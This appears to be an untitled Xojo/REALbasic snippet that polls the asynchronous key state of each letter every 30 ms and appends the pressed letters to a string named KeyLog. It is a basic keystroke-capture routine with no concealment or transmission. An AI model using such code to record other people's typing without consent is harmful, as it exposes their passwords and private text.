Unnamed

  'In a 30ms timer. KeyLog and LastKey are strings.

  If Keyboard.AsyncKeyDown(&h00) And LastKey <> "a" Then
    KeyLog = KeyLog + "a"
    LastKey = "a"
  End If
  
  If Keyboard.AsyncKeyDown(&h0B) And LastKey <> "b" Then
    KeyLog = KeyLog + "b"
    LastKey = "b"
  End If
  
  If Keyboard.AsyncKeyDown(&h08) And LastKey <>"c" Then
    KeyLog = KeyLog + "c"
    LastKey = "c"
  End If
  
  If Keyboard.AsyncKeyDown(&h02) And LastKey <>"d" Then
    KeyLog = KeyLog + "d"
    LastKey = "d"
  End If
  
  If Keyboard.AsyncKeyDown(&h0E) And LastKey <>"e" Then
    KeyLog = KeyLog + "e"
    LastKey = "e"
  End If
  
  If Keyboard.AsyncKeyDown(&h03) And LastKey <>"f" Then
    KeyLog = KeyLog + "f"
    LastKey = "f"
  End If
  
  If Keyboard.AsyncKeyDown(&h05) And LastKey <>"g" Then
    KeyLog = KeyLog + "g"
    LastKey = "g"
  End If
  
  If Keyboard.AsyncKeyDown(&h04) And LastKey <>"h" Then
    KeyLog = KeyLog + "h"
    LastKey = "h"
  End If
  
  If Keyboard.AsyncKeyDown(&h22) And LastKey <>"i" Then
    KeyLog = KeyLog + "i"
    LastKey = "i"
  End If
  
  If Keyboard.AsyncKeyDown(&h26) And LastKey <>"j" Then
    KeyLog = KeyLog + "j"
    LastKey = "j"
  End If
  
  If Keyboard.AsyncKeyDown(&h28) And LastKey <>"k" Then
    KeyLog = KeyLog + "k"
    LastKey = "k"
  End If
  
  If Keyboard.AsyncKeyDown(&h25) And LastKey <>"l" Then
    KeyLog = KeyLog + "l"
    LastKey = "l"
  End If
  
  If Keyboard.AsyncKeyDown(&h2E) And LastKey <>"m" Then
    KeyLog = KeyLog + "m"
    LastKey = "m"
  End If
  
  If Keyboard.AsyncKeyDown(&h2D) And LastKey <>"n" Then
    KeyLog = KeyLog + "n"
    LastKey = "n"
  End If
  
  If Keyboard.AsyncKeyDown(&h1F) And LastKey <>"o" Then
    KeyLog = KeyLog + "o"
    LastKey = "o"
  End If
  
  If Keyboard.AsyncKeyDown(&h23) And LastKey <>"p" Then
    KeyLog = KeyLog + "p"
    LastKey = "p"
  End If
  
  If Keyboard.AsyncKeyDown(&h0C) And LastKey <>"q" Then
    KeyLog = KeyLog + "q"
    LastKey = "q"
  End If
  
  If Keyboard.AsyncKeyDown(&h0F) And LastKey <>"r" Then
    KeyLog = KeyLog + "r"
    LastKey = "r"
  End If
  
  If Keyboard.AsyncKeyDown(&h01) And LastKey <>"s" Then
    KeyLog = KeyLog + "s"
    LastKey = "s"
  End If
  
  If Keyboard.AsyncKeyDown(&h11) And LastKey <>"t" Then
    KeyLog = KeyLog + "t"
    LastKey = "t"
  End If
  
  If Keyboard.AsyncKeyDown(&h20) And LastKey <>"u" Then
    KeyLog = KeyLog + "u"
    LastKey = "u"
  End If
  
  If Keyboard.AsyncKeyDown(&h09) And LastKey <>"v" Then
    KeyLog = KeyLog + "v"
    LastKey = "v"
  End If
  
  If Keyboard.AsyncKeyDown(&h0D) And LastKey <>"w" Then
    KeyLog = KeyLog + "w"
    LastKey = "w"
  End If
  
  If Keyboard.AsyncKeyDown(&h07) And LastKey <>"x" Then
    KeyLog = KeyLog + "x"
    LastKey = "x"
  End If
  
  If Keyboard.AsyncKeyDown(&h10) And LastKey <>"y" Then
    KeyLog = KeyLog + "y"
    LastKey = "y"
  End If
  
  If Keyboard.AsyncKeyDown(&h06) And LastKey <>"z" Then
    KeyLog = KeyLog + "z"
    LastKey = "z"
  End If